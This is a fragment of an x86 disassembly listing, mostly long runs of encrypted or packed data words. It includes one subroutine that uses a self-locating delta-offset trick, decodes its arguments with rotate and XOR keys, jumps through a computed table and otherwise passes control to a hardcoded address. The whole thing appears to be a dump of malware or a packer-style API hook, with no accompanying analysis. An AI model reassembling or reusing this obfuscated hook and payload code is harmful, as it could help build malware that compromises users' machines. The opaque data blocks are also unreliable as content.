		dd 0AC45B624h, 73F3DB34h, 0F3919B85h, 4A18BB7h,	8B069AC8h
		dd 0F9AB3F2h, 1D59367Eh, 24603D1Bh, 0F8D36h, 31FB0000h
		dd 3A28643Dh, 94313B3Dh, 0DE9ADAB2h, 0A8E8C89Ah, 97D3B4BAh
		dd 0ACE8C1ABh, 92CEB0AEh, 0ABEBC6A8h, 92D2ADAFh, 0B0ECC6A8h
		dd 90D0ACB2h, 71B14C52h, 9B689171h, 89000040h, 89522434h
		dd 4C281E2h, 81000000h,	4EAh, 24148700h, 241C895Ch, 66AF68h
		dd 24048900h, 705D68h, 243C8900h, 0E00891BFh, 5FFB8907h
		dd 4EC81h, 24890000h, 24048124h, 4, 4EC8158h, 89000000h
		dd 8BA2414h, 1000000h, 5A1A89C2h, 5624048Bh, 0C681E689h
		dd 4, 4C681h, 34870000h, 34FF5C24h, 0C4815B24h,	4, 0F5ADFFE9h
		dd 0B85929FFh, 7E023D5h, 0E0FFC503h, 7E6B1157h,	2FA66B8h
		dd 1C71F998h, 5DB00607h, 4D52A648h, 79506E7Fh, 20FF9DCBh
		dd 3AF00FB5h, 0A9D6951h, 169C9814h, 285D17E2h, 541348D7h
		dd 50F0DD83h, 46F5C321h, 1F04B34Fh, 2B8D995Fh, 3AF77187h
		dd 47B23957h, 77AEDE00h, 44440A33h, 77DDAB59h, 4C49135h
		dd 407DC5h, 0AA0D9B1h, 6E6E4DE1h, 2D68DCE0h, 3819DA03h
		dd 73BE690Bh, 50262953h, 288B7527h, 15FE9h
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_69BB85	proc near		; CODE XREF: sub_406890+12Bp
					; sub_409C50+1Dp ...
		push	edx
		mov	edx, esp
		pusha
		call	$+5
		pop	ebp
		sub	ebp, 7E024E5h
		mov	eax, [edx+8]
		cmp	eax, 78263845h
		jnz	loc_69BCDB
		mov	eax, [edx+0Ch]
		mov	ecx, [edx+18h]
		ror	eax, cl
		mov	ebx, 2D39B5E3h
		xor	eax, ebx
		sub	eax, 4
		mov	[ebp+7D32941h],	eax
		mov	ebx, [eax+4]
		mov	edi, eax
		mov	eax, [edx+10h]
		mov	ecx, [edx+18h]
		ror	eax, cl
		mov	esi, 824C5212h
		xor	eax, esi
		sub	eax, edi
		and	eax, 0FFFFFFFCh
		sub	eax, 4
		mov	[ebp+7D32BA1h],	eax
		mov	eax, [edx+14h]
		mov	[ebp+7D33311h],	eax
		mov	eax, [edx+18h]
		push	ebx
		jmp	loc_69BC9F
; ---------------------------------------------------------------------------
		db 0FFh
aES		db '-',7,'',0
		dd 0B5FF0000h, 7D31A1Dh, 0AEE9h, 0B5B5FF00h, 0E907D32Ch
		dd 0A3h, 1C0DB5FFh, 98E907D3h, 0FF000000h, 0D326EDB5h
		dd 8DE907h, 0B5FF0000h,	7D324A5h, 82E9h, 65B5FF00h, 0E907D30Eh
		dd 77h,	2D9B5FFh, 6CE907D3h, 0FF000000h, 0D32DC9B5h, 61E907h
		dd 0B5FF0000h, 7D307ADh, 56E9h,	0C9B5FF00h, 0E907D323h
		dd 4Bh,	2D29B5FFh, 40E907D3h, 0FF000000h, 0D32961B5h, 35E907h
		dd 0B5FF0000h, 7D32109h, 2AE9h,	0BDB5FF00h, 0E907D308h
		dd 1Fh,	1A79B5FFh, 14E907D3h
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_69BC9F:				; CODE XREF: sub_69BB85+65j
		mov	ebx, eax
		mov	eax, 0Bh
		mul	bx
		lea	ecx, [ebp+7E02546h]
		add	ecx, eax
		jmp	ecx
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0D32D3D95h, 858B5B07h, 7D32941h, 0F045839h, 0F85h, 16A5300h
		dd 301995FFh, 0E95B07D3h, 0FFFFFFE2h
		db 61h,	5Ah, 0C3h
; ---------------------------------------------------------------------------


loc_69BCDB:				; CODE XREF: sub_69BB85+18j
		popa
		pop	edx
		mov	eax, 7E41A8ADh
		jmp	eax
sub_69BB85	endp

; ---------------------------------------------------------------------------
		dd 0F01858Bh, 8D8D07D3h, 7E02634h, 8B014189h, 12E8C3h
		dd 0B8760000h, 2B097EB1h, 596F100Dh, 19205129h,	0ECD9D6B3h
		dd 0C88B5BFCh, 74A1C381h, 0BF0F0000h, 0BAF9h, 0BF660000h
		dd 348B7A9Ch, 3810F13h,	80000000h, 0C681C2F0h, 4B5B45EFh
		dd 0C68119B5h, 39750DABh, 0C681D6B0h, 5FB093C9h, 2C04C781h
		dd 34891060h, 80C88B13h, 0EA83A0C9h, 0F98B6602h, 0E8604A4Ah
		dd 0Ah,	74583094h, 970E9A21h, 5E93F16h,	10000000h, 0C40807D8h
		dd 28E1815Fh, 617DB407h, 8C24FA81h, 850FFFFFh, 21h, 3880F51h
		dd 0F000000h, 0E95FCFB7h, 2Bh, 16A4ED51h, 0DEEDB39Eh, 76958D37h
		dd 0A1AA4040h, 5D4CB9C2h, 6FE90E70h, 72FFFFFFh,	3DA1BF8Fh
		dd 0A55E49D0h, 4941E690h, 8D1186DDh, 0E027DE8Dh, 1858B07h
		dd 8907D31Fh, 0D329418Dh, 15BD2907h, 0C707D325h, 0D32BA185h
		dd 5B3807h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1D04h, 0C3504000h, 0EF7C0383h, 4F3C7CC2h, 85C76340h
		dd 7D33311h, 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 9CC35545h
		dd 33EC0439h, 0F6D1505h, 0B5FFD9BFh, 7D302D9h, 7020BA66h
		dd 6800Fh, 9D8B0000h, 7D332A1h,	2D3D95FFh, 6A07D3h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 0E8D37FC3h, 0F74D6156h, 0BD898AE8h, 7D32421h, 95FF006Ah
		dd 7D33019h, 3EEBC08Bh,	0AC8F6917h, 9FE6F6A5h, 705306CDh
		dd 74930328h, 711A1B32h, 6481A047h, 35AC7FD3h, 23F3CDBAh
		dd 692CD4B8h, 792B706h,	8AA9F1A2h, 267B89Ch, 0FC8BCF8Fh
		dd 5752AC06h, 73C01D25h, 0DE894F6h, 98000000h, 0E8199737h
		dd 0AD011D2Ch, 55610E3Ch, 558D8B58h, 8107D30Dh,	7492C0h
		dd 6DBB6600h, 1CFCBAC3h, 9D890000h, 7D334B9h, 8D8B30FFh
		dd 7D30A45h, 1ED9815Fh,	815417C8h, 0A543CF7h, 59D8B00h
		dd 8107D30Dh, 110B66EFh, 0EF81F50Ch, 12F4AC07h,	0FE9h
		dd 0A6509D00h, 928DE23Ah, 0EE494035h, 36E745DDh, 0E8833889h
		dd 4848F902h, 81F3BF0Fh, 1EAh, 15850F00h, 81000000h, 1B159DC6h
		dd 1FE921h, 4A9A0000h, 15224088h, 7B3FE764h, 59B2E181h
		dd 8DE95C6Bh, 0BDFFFFFFh, 0C4F07D7Eh, 4C88A67Eh, 2EE9B1h
		dd 56DA0000h, 77AFh, 0Ah dup(0)
		dd 6B7E9h, 2A766800h, 0B8E907E0h, 68FFF4E2h, 7E02B1Ah
		dd 0F4E2AEE9h, 2D9868FFh, 0A4E907E0h, 27FFF4E2h, 0A14EAABAh
		dd 75DA1E2Eh, 0A348B0C0h, 78D52131h, 4346B2C2h,	0E5F5ADB8h
		dd 0DCEC5C11h, 0ECFCAF1Ch, 0DFEF5F0Ch, 0A1407F17h, 5B5EFBA2h
		dd 27A4C4E4h, 0F30515C8h, 0B86A6355h, 0B18225A8h, 431AEF74h
		dd 0B21BBDFBh, 0DA04F404h, 1A9B3208h, 0C2F808BDh, 3322CACBh
		dd 1517D8AEh, 8726E9B0h, 1291D941h, 0A1576B2Ah,	0B27AECEAh
		dd 0D5505C1Fh, 0BDEC27C2h, 2DB566E2h, 497E497Ah, 0B546EBEFh
		dd 4C2F608h, 5D160000h,	5ECA2959h, 8D1EAC4Eh, 94C8B552h
		dd 0D7892F1Bh, 19983309h, 0F2FB0BBAh, 27863444h, 0C05B77BEh
		dd 8510BAA4h, 41DA8139h, 314DAF7Ah, 0E837308Eh,	675169B2h
		dd 1A566827h, 0AA69CD73h, 0F4DDCBEAh, 0C716BD4h, 76A40838h
		dd 6FA3EB8Ch, 0DD21C05Bh, 0F49E98DBh, 8F2EAF1Eh, 0A3A92EB4h
		dd 0E3EAD0D2h, 0D4B5C542h, 3B42E5BFh, 64D7F5D5h, 5258832h
		dd 2ABBC108h, 6EBC8083h, 3A9924E4h, 1F2F9E89h, 7F794FD9h
		dd 2840FA9h, 4218CAF8h,	7EEA8Bh, 0F5CE9E0Fh, 9011CA7Dh
		dd 19129AE9h, 83E0E76Dh, 7AF9BFCFh, 0C364E5E8h,	0E72F93EFh
		dd 933C7E37h, 64E31323h, 87465607h, 1F0FDBE6h, 0A117AB91h
		dd 736A7A2Ch, 0D9D5298Eh, 8B72E177h, 0D3000004h, 2DA25666h
		dd 0E18E6A7Ah, 2F9C5C6Ch, 0E4896D7Dh, 0CF9A5E6Eh, 99A9212Ch
		dd 3040F05Dh, 0A0B023C8h, 3343F358h, 35D4F3C3h,	5B5EFD4Eh
		dd 0BC280838h, 958035E6h, 5FE90F1Fh, 0ED6C5F69h, 4876484Ah
		dd 37810762h, 0BBF2D654h, 72F99A3Fh, 0C39670F2h, 0B6604B6Dh
		dd 0B2C5CC89h, 2CCEDE55h, 55541C9Eh, 7F3949F6h,	360DF00Ch
		dd 0E6C58CF6h, 14966474h, 2B817B6h, 9138DBF2h, 8F5CD37Dh
		dd 3AAF4771h, 8B827888h, 0F630D6ADh, 3096B7DBh,	61A1C87Bh
		dd 23D7FD95h, 0DB0212C4h, 29B413F0h, 0E7007305h, 2F000003h
		dd 0E9867282h, 0DD926676h, 2BA05868h, 0E08D6979h, 0CB9E5A6Ah
		dd 9DAD2530h, 3444F459h, 0A4B427C4h, 3747F754h,	39D8D7BFh
		dd 5B5EFE4Ah, 0BC2C0C3Ch, 708035E6h, 74D2735Ah,	14CC1D08h
		dd 2DF02DA3h, 9A606407h, 0C372681Ch, 0AFD279F5h, 0F616243h
		dd 6D7D318Eh, 0A3BB433Eh, 793F438Eh, 82495D18h,	57A1B125h
		dd 3A11E7D1h, 9D5B6BDDh, 8A708030h, 0FDB00AC0h,	62C37226h
		dd 0D3400638h, 0E155B276h, 17A127D1h, 3FEE4D5Ch, 0C7257A2Fh
		dd 0EB14529Bh, 0A5BCDECDh, 127790C3h, 66791A1h,	0B3B44656h
		dd 0E6FB3FCCh, 42520867h, 45FDF2B8h, 0D5E28335h, 0C8875F8Bh
		dd 0EC5CBB83h, 2E8C1EDCh, 28B66h, 56086700h, 0D1D9A849h
		dd 19ADB108h, 397F49AFh, 18C82711h, 0C87DF208h,	47A812B8h
		dd 0E7448797h, 0B98F6979h, 0C274D9FFh, 461C46B2h, 0DDBC5D70h
		dd 719E5966h, 0D3EB0E89h, 0CB7DDAEBh, 0DF4C3DBBh, 0AD73DD9Ah
		dd 57368446h, 2D89EA28h, 30711251h, 8BD7B2B9h, 8D7415B8h
		dd 0F94E8BC5h, 0F6956365h, 0E03F5D9Fh, 6C021B07h, 82782902h
		dd 0F6498793h, 330DBA8Dh, 214B82A7h, 7A3Ah, 5ACC2B00h
		dd 27FC704Ah, 0A20717C8h, 1F8E5452h, 0C082382Dh, 32913C12h
		dd 0E1E9580h, 0EAFFEBCh, 859C7FE3h, 9B863C9Bh, 47E11727h
		dd 7B17781h, 1F762AA4h,	79318ED0h, 34B98F69h, 674C6E7Eh
		dd 6EAC1946h, 596D2420h, 91A11572h, 1D7E167h, 0C2B450Ah
		dd 0B4E55549h, 0DE8F7200h, 9B117244h, 0F606BD22h, 0C9D94B04h
		dd 0BA51362Fh, 6F9C6B78h, 0D672C5D5h, 10A1C6Eh,	272C0000h
		dd 0F50313C8h, 0F6688533h, 0E75B14E6h, 0FAAC21D7h, 0D184E3EAh
		dd 6CE1F7C1h, 5161CFBAh, 4FA721A7h, 424FD778h, 5F9C869h
		dd 0F98D537Fh, 450B2EB0h, 154E5764h, 0F8C2BD67h, 0F6F33895h
		dd 0B0D97A56h, 8BA6F2DAh, 910C7F39h, 0AD91B8B7h, 0AFD225FCh
		dd 0FBF1C25h, 1BC5F7FFh, 86078645h, 0F1E3DCE7h,	0B518AA29h
		dd 0F1E42D14h, 73455929h, 0D2666A38h, 25751612h, 6FC5A50Eh
		dd 3375664h, 7175FC12h,	0D95E4FF0h, 0E117279Ch,	0A0BF6247h
		dd 8C3E4E05h, 0F7EE7F2Eh, 4047B26Ch, 9A6070E3h,	0B8EBAA10h
		dd 74F43340h, 8A41879Ah, 6665752Dh, 0B63B46E7h,	374BD2B0h
		dd 42F85581h, 0CF4AAB32h, 2DC31B66h, 169C6h, 0F000B100h
		dd 0E4F46308h, 0F606B714h, 0C7D74D02h, 0F808BA2Fh, 8792E500h
		dd 9633C3D3h, 71DE1A2Ah, 0A14EAABAh, 41D91D2Dh,	0FFE0E382h
		dd 6A65B5Eh, 81914966h,	5666D875h, 6C57F677h, 1A537ED3h
		dd 0A6C63288h, 0FAAA9549h, 9C3D10EAh, 537ED2A5h, 0DDEBDDE1h
		dd 0F404B21Bh, 0AC3A36D9h, 0F4B5C572h, 0B9FF1FECh, 976D231Dh
		dd 4EC99534h, 8ABAE05h,	401ECC26h, 5D8FB802h, 4634F3C5h
		dd 0C1573684h, 8DDCD154h, 6A134E20h, 5155102Bh,	98A51D7Ah
		dd 6F250AF9h, 0E3EA7C38h, 6F253F42h, 85434738h,	0E56BA71h
		dd 0B146F456h, 0DF26B217h, 7E2462BEh, 40E3E2B7h, 4F5216D2h
		dd 0A54A70E9h, 78D52131h, 0BC1BB2C2h, 2604F606h, 9B0F6694h
		dd 0DD000000h, 0D10B8427h, 63310EC1h, 5F35EB55h, 1C8EED6Ch
		dd 2120C10Ch, 65537F18h, 43345761h, 47B59E16h, 153C9DBDh
		dd 2434A403h, 1990FD96h, 184421C9h, 92711091h, 0F44965FCh
		dd 3C4D4872h, 0FC251CBDh, 5D614965h, 65FC734Eh,	0ABBB6D49h
		dd 6F4D6E8h, 11E5F569h,	20DAEA5Ch, 0B499866Dh, 0D036D88Bh
		dd 2582B91Bh, 7A17A1B1h, 0D1628B13h, 7481CFB5h,	3646F847h
		dd 89990DC2h, 3E4EFE6Fh, 946F0E8Fh, 0F2D71686h,	0AEB04A70h
		dd 0B12532C9h, 46F855A1h, 311C436h, 2F000000h, 9849A4C8h
		dd 49FD7288h, 9D0EBF39h, 56026B8Dh, 873BB446h, 56CC8177h
		dd 893BB446h, 5FCE7F79h, 9344A94Fh, 68D67583h, 717Bh, 68240489h
		dd 2FCAh, 68242C89h, 21D4h, 56243C89h, 1F73DD68h, 24348B7Fh
		dd 4C481h, 0E6810000h, 1E646679h, 814EDEF7h, 1BB484F6h
		dd 5EF589E6h, 4EC81h, 24890000h, 24048124h, 4, 0E989515Fh
		dd 242C8151h, 58227E10h, 8108478Fh, 7E100847h, 8B595822h
		dd 8957243Ch, 4C781E7h,	81000000h, 4C7h, 243C8700h, 242C8B5Ch
		dd 81E18951h, 4C1h, 4C18300h, 5C240C87h, 0F4DC12E9h, 927204FFh
		dd 309C82F4h, 0E02F26B8h, 0FFC50307h, 406EC7E0h, 95A98765h
		dd 0F1E18F7Eh, 0DDFC7A72h, 21FF9869h, 96585954h, 0E578DC2Ch
		dd 0B8F5B87Ah, 0B5462747h, 0A4337D5Bh, 0DE2FBF5Bh, 32D9CF07h
		dd 217D3B2Ah, 0BD989255h, 0BAAC0376h, 0EB9FFD42h, 8C25357Bh
		dd 86B90131h, 3E099518h, 0B48D8D60h, 6607E030h,	6D39DF81h
		dd 29418D89h, 0BA6607D3h, 0B5891202h, 7D32D05h,	2BA185C7h
		dd 633007D3h, 858B0000h, 7D30705h, 331185C7h, 7D3h, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 0BC3496C3h, 952B7136h, 0B5FF2BB7h, 7D326EDh,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 23C35747h, 0A6AADF5Eh
		dd 2228593Ch, 895B522Dh, 0D3133DBDh, 3D95FF07h,	8907D32Dh
		dd 0D32A699Dh, 5022BB07h, 6A1172h, 301995FFh, 0C08B07D3h
		dd 0D8051FEBh, 0C61873E2h, 0F0F798Eh, 3C36D145h, 9032D3C9h
		dd 436E55ADh, 4A65B316h, 7AE5D049h, 6E806h, 0CB830000h
		dd 6ABCE889h, 6890F60h,	8B000000h, 0D318B18Dh, 0A5D38107h
		dd 617DE5A0h, 0CE95Fh, 17C40000h
		dd 3476E12Fh, 6972C5DCh, 0C781E8DCh, 680Ch, 1A6D8D89h
		dd 0D9BB07D3h, 8B000019h, 0D32FF585h, 0E837FF07h, 0Eh
		dd 10AE6B6Dh, 0FCC5AE86h, 0A7A21538h, 9589B674h, 7D3011Dh
		dd 0BD895E59h, 7D30655h, 6834F681h, 8D891DECh, 7D30085h
		dd 5401EE81h, 0BD896664h, 7D30621h, 0FA66EE81h,	8D01642Ah
		dd 7D31935h, 0B70F3789h, 0D7EF81D1h, 0B0165BD7h, 0D3C7814Eh
		dd 0B2165BD7h, 1EB8368h, 0FF9B850Fh, 0BA66FFFFh, 0EE8A8D6h
		dd 90000000h, 27FAFF5Ah, 1042712Fh, 4A351AAh, 11E9BEh
		dd 3F10000h, 701F8A6Ah,	13823504h, 0AB1EDC57h, 5A6150AEh
		dd 2969B589h, 0C28107D3h, 62E7h, 0C918D8Bh, 98B807D3h
		dd 8B000018h, 0D3233DB5h, 8932FF07h, 0D32E498Dh, 840F5F07h
		dd 0
		dd 4392F781h, 9D8B2681h, 7D30661h, 0CD62F781h, 8D311B7Fh
		dd 7D316D9h, 7966C781h,	0B58B4ECCh, 7D32065h, 50B13A89h
		dd 8B04EA83h, 850F48F2h, 0FFFFFFBDh, 8DBB6652h,	0DE85B69h
		dd 23000000h, 824B5D2Fh, 89558659h, 77CB5102h, 0B1F7BF66h
		dd 119D8959h, 8107D32Bh, 6285C1h, 6830F00h, 23000000h
		dd 0D30DE99Dh, 0BC03307h, 0D318E9BDh, 834FF07h,	58A0Fh
		dd 81660000h, 5E9723DBh, 81D08B66h, 5793B4EEh, 719D0B7Fh
		dd 8107D30Ah, 1726F3F6h, 81FB8B5Fh, 0C44A78F6h,	0BE926h
		dd 64DA0000h, 96593272h, 1517FA4Fh, 1348987h, 1F2D9D8Bh
		dd 0E88107D3h, 4A6990B9h, 0C19D2957h, 5B07D30Ch, 90B5C081h
		dd 0F3814A69h, 5DF80050h, 9E14F881h, 850FFFFFh,	0FFFFFF95h
		dd 0BD83C08Bh, 7D313B1h, 83097500h, 0D3273DBDh,	19740007h
		dd 0C08B5350h, 421B8h, 5858900h, 8D07D318h, 0DB28099Dh
		dd 5BD3FF07h, 3DBD8358h, 7D327h, 53501774h, 421B8h, 5858900h
		dd 8D07D318h, 0DB24F89Dh, 5BD3FF07h, 8BC08B58h,	0D30F2D9Dh
		dd 0D185C607h, 5607D318h, 0A8B85268h, 0F1B5FF9Ch, 8D07D30Dh
		dd 0DC036A85h, 6AD0FF07h, 10006804h, 0B5FF0000h, 7D32FD9h
		dd 0D0FF006Ah, 850FC085h, 0Dh, 0B8h, 988D8D00h,	0FF07D370h
		dd 8BC88BE1h, 3C4003C3h, 0F805h, 0C508B00h, 0BD83D303h
		dd 7D31EDDh, 0E840F00h,	8B000000h, 0D31EDD9Dh, 0B9858B07h
		dd 8907D331h, 8D525103h, 0D37A3585h, 8BD0FF07h,	8BF18BFAh
		dd 0F3C88BD1h, 0D185C6A4h, 5607D318h, 1F6D3968h, 0F1B5FFD4h
		dd 8D07D30Dh, 0DC036A85h, 68D0FF07h, 8000h, 0FF52006Ah
		dd 83C08BD0h, 0D313B1BDh, 9750007h, 273DBD83h, 740007D3h
		dd 8B535019h, 421B8C0h,	85890000h, 7D309C9h, 28709D8Dh
		dd 0D3FF07DBh, 0BD83585Bh, 7D3273Dh, 50177400h,	421B853h
		dd 85890000h, 7D309C9h,	25119D8Dh, 0D3FF07DBh, 0C08B585Bh
		dd 1EDD9D8Dh, 38B07D3h,	840FC00Bh, 7, 5B8B038Bh, 0B8188904h
		dd 4B41h, 11E8h, 0DDD23400h, 0C0A36D01h, 5312039h, 0D295C1BBh
		dd 0CDBA1834h, 5E4067A1h, 26C681F8h, 6600006Ah,	2BCE20BBh
		dd 3C8BFCC0h, 68E0F06h,	81000000h, 0DDEAB3DBh, 93C78107h
		dd 0E90E00D2h, 0Bh, 0EE2F9E1Ah,	966507EBh, 81526FC3h, 2C697BF7h
		dd 8E85Bh, 48230000h, 8701B78Bh, 0BB66EA99h, 815A905Ch
		dd 7274BEF7h, 0D7E1811Ah, 896BC694h, 9E9063Ch, 10000000h
		dd 0F997175Ch, 600126C7h, 12E8h, 454A8900h, 62CDB2Eh, 0CB444D5Ch
		dd 0C21B7A38h, 669FB3F0h, 3D9BF381h, 1E8835Ah, 626FF281h
		dd 48481B78h, 38A0F48h,	80000000h, 0F881AED5h, 0FFFF96D8h
		dd 2D850Fh, 5E80000h, 0A3000000h, 0CDACD735h, 3840Fh, 0F6800000h
		dd 2CE95B2Eh, 27000000h, 8BF6C07Ah, 188A0DD5h, 46FC4B57h
		dd 0ACA562CBh, 0F9D457FBh, 0FFFF35E9h, 819FCAFFh, 0C7E413E9h
		dd 4BED4EEBh, 0AE6ABF72h, 0E8710C21h, 8, 4584DEA8h, 0DC4A16B8h
		dd 5BC8E980h, 0C381ECB0h, 0E15Ch, 68AFB4h, 0F9000000h
		dd 5E85Eh, 35270000h, 8094E743h, 8B5FC0F0h, 8B663314h
		dd 0D9C281F8h, 0E945B8EAh, 13h,	9F8E949Bh, 0F2C7D525h
		dd 6A737492h, 28C6CA1Ah, 8113FF89h, 0E72004C2h,	10E9560Ah
		dd 0F2000000h, 0B30BA3BEh, 0EF6CCAC8h, 7A780AF2h, 5FA72B5Bh
		dd 0C90CC281h, 0EA8A6A3Ah, 0E9331489h, 13h, 0C6DAB8F9h
		dd 0EA09AF38h, 73D17887h, 0D38AF631h, 0B89B0FC5h, 3BA5D00h
		dd 6004EE83h, 0FDBBF0Fh, 1281h,	0DE900h, 2E720000h, 0F4BC92CAh
		dd 0A60DB904h, 6158949Dh, 1F64FE81h, 850FFFFFh,	0FFFFFF6Bh
		dd 0B82FB866h, 4C57E9h,	0C7EC2700h, 4D6AA8D7h, 0CAF12651h
		dd 4A6DA5D4h, 0CCF32554h, 0EB5E73D2h, 69180635h, 0E5948AADh
		dd 68170728h, 0E79886A9h, 0F5E2DC8Bh, 0DD333271h, 1B6F5444h
		dd 4774AB1Eh, 0B8FB374Ah, 688B861Bh, 0D8EB380Bh, 6FAB1E1Bh
		dd 0F4CBA74Ch, 9DF6FB3Ch, 0D8EBC5DEh, 0B4A38143h, 0C156E9B9h
		dd 0EC87A868h, 279DBA2Fh, 86091B87h, 7923D8FFh,	191B4FE8h
		dd 8B8A17DAh, 0BCD3A968h, 2F00D09Ah, 1BCF69EFh,	0F846DD1Eh
		dd 0DF1587Ah, 5E3A522Bh, 0C41F5CC3h, 163FBCC7h,	0DD1E1B8Bh
		dd 99E82AF5h, 0F7FA5986h, 0CCC4DF9Ch, 0F9F83FF5h, 0B28CE596h
		dd 122DFh, 1BD7EC9Fh, 0EB46DD1Eh, 0EFE9DAD8h, 1E1BCF69h
		dd 0CBF846DDh, 1BCF69EFh, 346DD1Eh, 0DC1F1BC0h,	2FC00347h
		dd 7E69EF94h, 0AC40D85Eh, 4645E4AAh, 0DD1E1B3Dh, 0CC8B3846h
		dd 0FB3CF5h, 0B083A461h, 3C09A0CCh, 0D2EFB903h,	43475819h
		dd 1B4A57D4h, 63838B0Dh, 0FEAEDBEh, 90703ED4h, 0EFE5DE07h
		dd 72B37E69h, 1B293A31h, 0CC46DD1Eh, 2B3F43A6h,	0BC2B3A52h
		dd 3A522BC2h, 94FFB813h, 7BC7F1A8h, 1BD0FFBFh, 1E1B5663h
		dd 7AF846DDh, 2B0DF158h, 0F55E3A52h, 191B6DF6h,	0D8EB49DAh
		dd 0FB3CF5CCh, 80BF6100h, 0E5D98062h, 363A522Ah, 0EB851EDDh
		dd 0DD1E1BD8h, 0C9EA2AF5h, 0D8EBB1D2h, 0C0274929h, 3A522BBEh
		dd 0F37B1D0Fh, 93A70289h, 0B6E20C30h, 4E0F3D36h, 0A6CC069Dh
		dd 522B3F43h, 3923903Ah, 1D8C5A82h, 0B87D6EE3h,	5BBC539Eh
		dd 89825D24h, 0A8191BFAh, 0C7AB4877h, 1FA3DF8h,	1BC00362h
		dd 496EA405h, 0C00319AAh, 69EF942Fh, 0DA191BCFh, 0CC8B3849h
		dd 0D1FB3CF5h, 451ED490h, 0FCA556A7h, 3370B21Bh, 87EB0390h
		dd 1D5ED669h, 522BD2ACh, 0D3C8233Ah, 0DA191BB0h, 9BD8D4F8h
		dd 0E90FD6ACh, 0D8EB9132h, 15DC1F1Bh, 0FA379688h, 7CD7B8B9h
		dd 5076BD75h, 0EF0A9916h, 191BCF69h, 17D4F8DAh,	0BFDBF136h
		dd 0E071CCF0h, 252C943h, 0A0CC7A09h, 9849CDBFh,	0A3EEAD19h
		dd 7432F0BFh, 521CF9C5h, 82E14A3Ah, 0F033F27Fh,	0C70B9853h
		dd 0AE15FF3Eh, 1BCF69EFh, 0CC49DA19h, 0E6752AA0h, 0C9C20949h
		dd 191BEC95h, 0CBF849DAh, 0FCD6051Bh, 2B8F73D6h, 41E03A52h
		dd 4DFA2C5h, 0CC17AC5Fh, 0DFC825A0h, 0E60C488Bh, 516C7F83h
		dd 0A863D03Ah, 0F5CCD6E9h, 5D04F738h, 0EBB083A4h, 0B6E743D8h
		dd 0B4FA9DA4h, 721DCA73h, 0C6B37C6Fh, 140B96CAh, 0D2C92AE7h
		dd 9A29E18Ah, 54CEA0CCh, 0E530AE3Ah, 94500AF7h,	2CDFCBCCh
		dd 3F55EF69h, 51B8B16h,	0C74F3D4Fh, 6ED5B3C4h, 255ABD54h
		dd 0FB88835Ch, 254B6F03h, 0FA6FEFE7h, 0CCF88B80h, 0F9F83FF5h
		dd 858CB364h, 0AFD2C92Ah, 3652E75h, 0D81B1BC0h,	6C938419h
		dd 0BE774AA5h, 0EAA7D44Bh, 0CBA76A09h, 522B221Ch, 8818733Ah
		dd 0F0A5CF09h, 0CF69EFC7h, 3F43A6CCh, 903A522Bh, 0C7596823h
		dd 8B380B98h, 5E7E69EFh, 66ED1817h, 0DF847753h,	0FCD6051Bh
		dd 0C7CAED25h, 0EB942FECh, 43A6CCD8h, 3A522B3Fh, 7F392390h
		dd 0B81F8D6Fh, 490A7F7Ch, 8AC41A37h, 0ECBDF377h, 6A87F568h
		dd 3FDCBE56h, 7774581Ah, 0A5CA11DEh, 0EF9330EBh, 0F5CCCF69h
		dd 5C05F639h, 0D25D85BAh, 59259456h, 0AA3A522Bh, 0DAE9A241h
		dd 1E1BCBF8h, 705346DDh, 0FCD6051Bh, 0EB3421D0h, 856D6754h
		dd 5192E0E2h, 0C9C2313Ah, 1BDAE9BAh, 0F84DD605h, 0C4A0CCCBh
		dd 0E09640E6h, 0E61F4239h, 0D8EBEEC5h, 0CC66A7C7h, 1FA3DF5h
		dd 0B57EA160h, 3F43A6CCh, 903A522Bh, 9C276823h,	4AD91A1Bh
		dd 3F43A6CCh, 903A522Bh, 0AE916823h, 4DD6051Bh,	0F738F5CCh
		dd 86AD67FAh, 0D0CB288Bh, 0FB3A05E9h
		dd 7A0C3B8h, 0CF69EFBCh, 4AD91A1Bh, 1A1BDAE9h, 0A0CC4AD9h
		dd 6095457Bh, 1B4E4DA9h, 22F5CC68h, 0E09BF4FDh,	0BD9D41C1h
		dd 0BAF4AA62h, 9A64D511h, 0EB3A51E5h, 306FB180h, 1EF54E31h
		dd 1E1BC003h, 8F3A14DDh, 3A522BB3h, 1A1AA704h, 0C16FE352h
		dd 0D2713F5Ch, 0C402810Fh, 0CCC0FBAAh, 0F4FD22F5h, 0D91FB14h
		dd 4BA80113h, 79C30550h, 4AD91A1Bh, 1A1B8B38h, 70D7F9D9h
		dd 3A522B8Eh, 609D74DFh, 53374C3Fh, 0D91A1B70h,	1B70534Ah
		dd 8815DC1Fh, 4BA46D8Ah, 7978BB76h, 0C66E0A7h, 0A57A4521h
		dd 63187B76h, 0B4A0CC40h, 0DC50B2h, 0DAA4132Fh,	2B3A51C7h
		dd 4C8ACBC0h, 43A6CCF2h, 3A522B3Fh, 59682390h, 0E4BB97D8h
		dd 73100B2Ch, 0A0CCDAE9h, 0F85D05B3h, 0FF3CE34Bh, 4942A102h
		dd 8E84F938h, 0F8390A69h, 0D81B1BCBh, 1BD8EB4Bh, 0EB4BD81Bh
		dd 6DA0CCD8h, 0DA75975Bh, 0F3F87526h, 0EFAE1530h, 0F5CCCF69h
		dd 98FBF639h, 2546BEE3h, 43A6CC8Eh, 3A522B3Fh, 51CBB325h
		dd 0D94EDC3Dh, 4DA6C948h, 1B63104Eh, 373C5004h,	125801C8h
		dd 0A160837Fh, 0F2BDA53Eh, 2546C237h, 2BE0835Ch, 1BD8EB98h
		dd 2BF6DC1Fh, 0AFD4C7F4h, 0A472A0CCh, 0D0A6BB9Eh, 0DFA2C541h
		dd 394A0704h, 69EF9A29h, 0D81B1BCFh, 1BD8EB4Bh,	12EC5B1Fh
		dd 633A522Bh, 408DE408h, 3F5A0E77h, 87EB0FA4h, 433867B8h
		dd 0CCA91A20h, 2B3F43A6h, 23903A52h, 91AB2D68h,	733DF5CCh
		dd 3AF11957h, 3F85B62h,	0AE85A65Eh, 0C2527AF8h,	367DB7B6h
